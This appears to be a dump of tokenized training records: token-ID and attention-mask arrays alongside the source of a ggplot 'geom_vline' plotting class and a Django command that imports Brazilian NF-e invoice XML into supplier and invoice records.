32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
andnovar/ggplot
ggplot/geoms/geom_vline.py
12
1496
from __future__ import (absolute_import, division, print_function, unicode_literals) from .geom import geom class geom_vline(geom): DEFAULT_AES = {'color': 'black', 'linetype': 'solid', 'size': 1.0, 'alpha': None, 'x': None, 'ymin': None, 'ymax': None} REQUIRED_AES = {'xintercept'} DEFAULT_PARAMS = {'stat': 'vline', 'position': 'identity', 'show_guide': False} _aes_renames = {'size': 'linewidth', 'linetype': 'linestyle'} _units = {'alpha'} def _plot_unit(self, pinfo, ax): del pinfo['x'] ymin = pinfo.pop('ymin') if ymin is None: ymin, _ = ax.get_ylim() ymax = pinfo.pop('ymax') if ymax is None: _, ymax = ax.get_ylim() x = pinfo.pop('xintercept') # TODO: if x is not the same length as # the other aesthetics, default aesthetics # should be for the array-like aesthetics # problem illustrated by: # gg = ggplot(aes(x="x", y="y", shape="cat2", # color="cat"), data=df) # gg + geom_point() + geom_vline(xintercept=40) # vertical line should be black # # This is probably a good test for handling # aesthetics properly along the whole pipeline. # The problem should clear up when that is the case, # and the above code should be added as a test case ax.vlines(x, ymin, ymax, **pinfo)
bsd-2-clause
[ 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 12, 717, 2649, 63, 5955, 9, 199, 504, 1275, 6481, 492, 9671, 421, 199, 533, 9671, 63, 86, 604, 8, 6481, 304, 272, 6186, 63, 14494, 275, 791, 2326, 356, 283, 8399, 297, 283, 604, 466, 356, 283, 18533, 297, 673, 283, 890, 356, 413, 14, 16, 12, 283, 4468, 356, 488, 12, 283, 88, 356, 488, 12, 673, 283, 27429, 356, 488, 12, 283, 30036, 356, 488, 93, 272, 25090, 63, 14494, 275, 791, 88, 10863, 936, 272, 6186, 63, 17978, 275, 791, 3736, 356, 283, 86, 604, 297, 283, 3124, 356, 283, 5582, 297, 1993, 283, 2384, 63, 17348, 356, 756, 93, 339, 485, 17499, 63, 264, 1247, 275, 791, 890, 356, 283, 24643, 297, 283, 604, 466, 356, 283, 472, 20953, 936, 272, 485, 5260, 275, 791, 4468, 936, 339, 347, 485, 2798, 63, 3248, 8, 277, 12, 299, 815, 12, 2185, 304, 267, 2150, 299, 815, 459, 88, 418, 267, 22506, 275, 299, 815, 14, 1935, 360, 27429, 358, 267, 340, 22506, 365, 488, 26, 288, 22506, 12, 485, 275, 2185, 14, 362, 63, 18123, 342, 398, 21023, 275, 299, 815, 14, 1935, 360, 30036, 358, 267, 340, 21023, 365, 488, 26, 288, 5501, 21023, 275, 2185, 14, 362, 63, 18123, 342, 398, 671, 275, 299, 815, 14, 1935, 360, 88, 10863, 358, 267, 327, 3254, 26, 340, 671, 365, 440, 314, 2011, 2582, 465, 267, 327, 314, 1163, 282, 597, 426, 7769, 12, 849, 282, 597, 426, 7769, 267, 327, 1077, 506, 367, 314, 1625, 13, 2930, 282, 597, 426, 7769, 267, 327, 5160, 22907, 11409, 972, 701, 26, 267, 327, 486, 71, 275, 486, 71, 2798, 8, 17499, 8, 88, 628, 88, 401, 612, 628, 89, 401, 2215, 628, 3385, 18, 401, 267, 327, 3777, 3164, 628, 3385, 1288, 666, 29, 1587, 9, 267, 327, 486, 71, 435, 9671, 63, 1403, 342, 435, 9671, 63, 86, 604, 8, 88, 10863, 29, 2167, 9, 267, 327, 13763, 1004, 1077, 506, 12136, 267, 327, 267, 327, 961, 365, 8646, 282, 6954, 511, 367, 7252, 267, 327, 282, 597, 426, 7769, 7684, 3180, 314, 8852, 7679, 14, 267, 327, 710, 5160, 1077, 5436, 1536, 1380, 626, 365, 314, 1930, 12, 267, 327, 436, 314, 3432, 1233, 1077, 506, 3483, 465, 282, 511, 1930, 267, 2185, 14, 86, 1278, 8, 88, 12, 22506, 12, 21023, 12, 1011, 80, 815, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 12, 717, 2649, 63, 5955, 9, 199, 504, 1275, 6481, 492, 9671, 421, 199, 533, 9671, 63, 86, 604, 8, 6481, 304, 272, 6186, 63, 14494, 275, 791, 2326, 356, 283, 8399, 297, 283, 604, 466, 356, 283, 18533, 297, 673, 283, 890, 356, 413, 14, 16, 12, 283, 4468, 356, 488, 12, 283, 88, 356, 488, 12, 673, 283, 27429, 356, 488, 12, 283, 30036, 356, 488, 93, 272, 25090, 63, 14494, 275, 791, 88, 10863, 936, 272, 6186, 63, 17978, 275, 791, 3736, 356, 283, 86, 604, 297, 283, 3124, 356, 283, 5582, 297, 1993, 283, 2384, 63, 17348, 356, 756, 93, 339, 485, 17499, 63, 264, 1247, 275, 791, 890, 356, 283, 24643, 297, 283, 604, 466, 356, 283, 472, 20953, 936, 272, 485, 5260, 275, 791, 4468, 936, 339, 347, 485, 2798, 63, 3248, 8, 277, 12, 299, 815, 12, 2185, 304, 267, 2150, 299, 815, 459, 88, 418, 267, 22506, 275, 299, 815, 14, 1935, 360, 27429, 358, 267, 340, 22506, 365, 488, 26, 288, 22506, 12, 485, 275, 2185, 14, 362, 63, 18123, 342, 398, 21023, 275, 299, 815, 14, 1935, 360, 30036, 358, 267, 340, 21023, 365, 488, 26, 288, 5501, 21023, 275, 2185, 14, 362, 63, 18123, 342, 398, 671, 275, 299, 815, 14, 1935, 360, 88, 10863, 358, 267, 327, 3254, 26, 340, 671, 365, 440, 314, 2011, 2582, 465, 267, 327, 314, 1163, 282, 597, 426, 7769, 12, 849, 282, 597, 426, 7769, 267, 327, 1077, 506, 367, 314, 1625, 13, 2930, 282, 597, 426, 7769, 267, 327, 5160, 22907, 11409, 972, 701, 26, 267, 327, 486, 71, 275, 486, 71, 2798, 8, 17499, 8, 88, 628, 88, 401, 612, 628, 89, 401, 2215, 628, 3385, 18, 401, 267, 327, 3777, 3164, 628, 3385, 1288, 666, 29, 1587, 9, 267, 327, 486, 71, 435, 9671, 63, 1403, 342, 435, 9671, 63, 86, 604, 8, 88, 10863, 29, 2167, 9, 267, 327, 13763, 1004, 1077, 506, 12136, 267, 327, 267, 327, 961, 365, 8646, 282, 6954, 511, 367, 7252, 267, 327, 282, 597, 426, 7769, 7684, 3180, 314, 8852, 7679, 14, 267, 327, 710, 5160, 1077, 5436, 1536, 1380, 626, 365, 314, 1930, 12, 267, 327, 436, 314, 3432, 1233, 1077, 506, 3483, 465, 282, 511, 1930, 267, 2185, 14, 86, 1278, 8, 88, 12, 22506, 12, 21023, 12, 1011, 80, 815, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
dudanogueira/microerp
microerp/producao/management/commands/nfe.py
1
6041
# -*- coding: utf-8 -*- from django.core.management.base import BaseCommand from django.contrib.sites.models import Site from cadastro.models import Cidade, Bairro from rh.models import Funcionario, PeriodoTrabalhado, Cargo, Departamento from account.models import User from optparse import make_option import os, csv, datetime from django.utils.encoding import smart_unicode, smart_str from xml.dom import minidom from producao.models import FabricanteFornecedor from producao.models import NotaFiscal class Command(BaseCommand): help = ''' Importa Nota Fiscal ''' args = "--file notafiscal.xml," option_list = BaseCommand.option_list + ( make_option('--file', action='store_true', dest='arquivo', help='Importa uma nota fiscal', ), ) def handle(self, *args, **options): arquivo = options.get('arquivo') if options['arquivo']: f = args[0] try: xmldoc = minidom.parse(f) infNFE = xmldoc.getElementsByTagName('chNFe')[0] idnfe = infNFE.firstChild.nodeValue[22:34] nome_emissor = xmldoc.getElementsByTagName('xNome')[0] nome = nome_emissor.firstChild.nodeValue print "NOME DO EMISSOR: %s" % nome print "ID NOTA FISCAL %s" % idnfe emissor = xmldoc.getElementsByTagName('emit')[0] cnpj_emissor = xmldoc.getElementsByTagName('CNPJ')[0].firstChild.nodeValue # busca emissor fornecedor,created = FabricanteFornecedor.objects.get_or_create(cnpj=cnpj_emissor) fornecedor.nome = nome fornecedor.save() if created: print "Fornecedor CRIADO: %s" % fornecedor else: print "Fornecedor encrontrado: %s" % fornecedor total = xmldoc.getElementsByTagName('total')[0] frete = total.getElementsByTagName('vFrete')[0].firstChild.nodeValue # criando NFE no sistema nfe_sistema,created = NotaFiscal.objects.get_or_create(fabricante_fornecedor=fornecedor, numero=idnfe) nfe_sistema.taxas_diversas = frete nfe_sistema.save() # pega itens da nota itens = xmldoc.getElementsByTagName('det') for item in itens: # cada item da nota... codigo_produto = item.getElementsByTagName('cProd')[0].firstChild.nodeValue quantidade = item.getElementsByTagName('qCom')[0].firstChild.nodeValue valor_unitario = item.getElementsByTagName('vUnCom')[0].firstChild.nodeValue print u"ITEM: %s" % codigo_produto print u"Quantidade: %s" % quantidade print u"Valor Unitário: %s" % valor_unitario # impostos try: aliquota_icms = float(item.getElementsByTagName('pICMS')[0].firstChild.nodeValue) except: aliquota_icms = 0 try: aliquota_ipi = float(item.getElementsByTagName('pIPI')[0].firstChild.nodeValue) except: aliquota_ipi = 0 try: aliquota_pis = float(item.getElementsByTagName('pPIS')[0].firstChild.nodeValue) except: aliquota_pis = 0 try: aliquota_cofins = float(item.getElementsByTagName('pCOFINS')[0].firstChild.nodeValue) except: aliquota_cofins = 0 total_impostos = aliquota_ipi + aliquota_icms + aliquota_cofins + aliquota_cofins total_impostos = aliquota_ipi print "Valor %% ICMS: %s" % aliquota_icms print "Valor %% IPI: %s" % aliquota_ipi print "Valor %% COFNS: %s" % aliquota_cofins print "Valor %% PIS: %s" % aliquota_pis print "Incidência de %% impostos: %s" % total_impostos # busca o lancamento, para evitar dois lancamentos iguais do mesmo partnumber item_lancado,created = nfe_sistema.lancamentocomponente_set.get_or_create(part_number_fornecedor=codigo_produto) # atualiza item_lancado.quantidade= quantidade item_lancado.valor_unitario= valor_unitario item_lancado.impostos= total_impostos # salva item_lancado.save() # busca na memoria automaticamente item_lancado.busca_part_number_na_memoria() # calcula total da nota nfe_sistema.calcula_totais_nota() # printa tudo print "#"*10 print "NOTA %s importada" % nfe_sistema.numero frete = nfe_sistema.taxas_diversas produtos = nfe_sistema.total_com_imposto print "TOTAL DA NOTA: %s (Frete) + %s (Produtos + Impostos)" % (frete, produtos) print "Produtos" for lancamento in nfe_sistema.lancamentocomponente_set.all(): print u"----- PN-FORNECEDOR: %s, QTD: %s VALOR: %s, Impostos: %s%% = TOTAL: %s Unitário (considerando frete proporcional) %s" % (lancamento.part_number_fornecedor, lancamento.quantidade, lancamento.valor_unitario, lancamento.impostos, lancamento.valor_total_com_imposto, lancamento.valor_unitario_final) except FabricanteFornecedor.DoesNotExist: print u"Erro. Não encontrado Fornecedor com este CNPJ" except: raise else: print self.help print self.args
lgpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 1639, 14, 1018, 14, 8110, 14, 1095, 492, 22239, 199, 199, 504, 1639, 14, 2828, 14, 8619, 14, 992, 492, 11666, 199, 199, 504, 286, 350, 1810, 293, 14, 992, 492, 445, 344, 9587, 12, 699, 8387, 293, 199, 504, 26006, 14, 992, 492, 481, 324, 9718, 6936, 12, 16532, 79, 2437, 4982, 72, 5129, 12, 445, 16308, 12, 1487, 2064, 14040, 79, 199, 199, 504, 2933, 14, 992, 492, 2876, 199, 199, 504, 8691, 492, 1852, 63, 1422, 199, 646, 747, 12, 7392, 12, 2197, 199, 199, 504, 1639, 14, 1208, 14, 2991, 492, 11179, 63, 2975, 12, 11179, 63, 495, 199, 199, 504, 2748, 14, 4556, 492, 19165, 199, 199, 504, 557, 2033, 696, 79, 14, 992, 492, 481, 2129, 8949, 1858, 685, 6867, 269, 199, 504, 557, 2033, 696, 79, 14, 992, 492, 2832, 65, 38, 15734, 199, 199, 533, 5817, 8, 25150, 304, 272, 1720, 275, 1449, 267, 3161, 65, 2832, 65, 481, 15734, 272, 1449, 272, 1249, 275, 4320, 493, 440, 13030, 4732, 14, 1652, 4589, 272, 945, 63, 513, 275, 22239, 14, 1422, 63, 513, 435, 334, 272, 1852, 63, 1422, 4517, 493, 297, 288, 1595, 534, 1617, 63, 2052, 297, 288, 2053, 534, 285, 783, 2392, 297, 288, 1720, 534, 6295, 65, 399, 391, 440, 65, 18672, 297, 267, 2318, 272, 776, 339, 347, 2429, 8, 277, 12, 627, 589, 12, 1011, 1419, 304, 267, 601, 783, 2392, 275, 1511, 14, 362, 360, 285, 783, 2392, 358, 267, 340, 1511, 459, 285, 783, 2392, 2565, 288, 289, 275, 1249, 59, 16, 61, 288, 862, 26, 355, 2748, 1301, 275, 19165, 14, 1122, 8, 70, 9, 355, 10739, 46, 5100, 275, 2748, 1301, 14, 15045, 360, 335, 46, 3456, 5832, 16, 61, 355, 1305, 78, 771, 275, 10739, 46, 5100, 14, 22262, 14, 17240, 59, 1081, 26, 1082, 61, 355, 949, 278, 63, 69, 1292, 1509, 275, 2748, 1301, 14, 15045, 360, 31985, 1377, 5832, 16, 61, 355, 949, 278, 275, 949, 278, 63, 69, 1292, 1509, 14, 22262, 14, 17240, 355, 870, 298, 2826, 3635, 3506, 662, 24513, 726, 26, 450, 83, 2, 450, 949, 278, 355, 870, 298, 998, 2845, 33, 481, 1311, 13329, 450, 83, 2, 450, 1305, 78, 771, 355, 325, 1292, 1509, 275, 2748, 1301, 14, 15045, 360, 8159, 5832, 16, 61, 355, 286, 1590, 74, 63, 69, 1292, 1509, 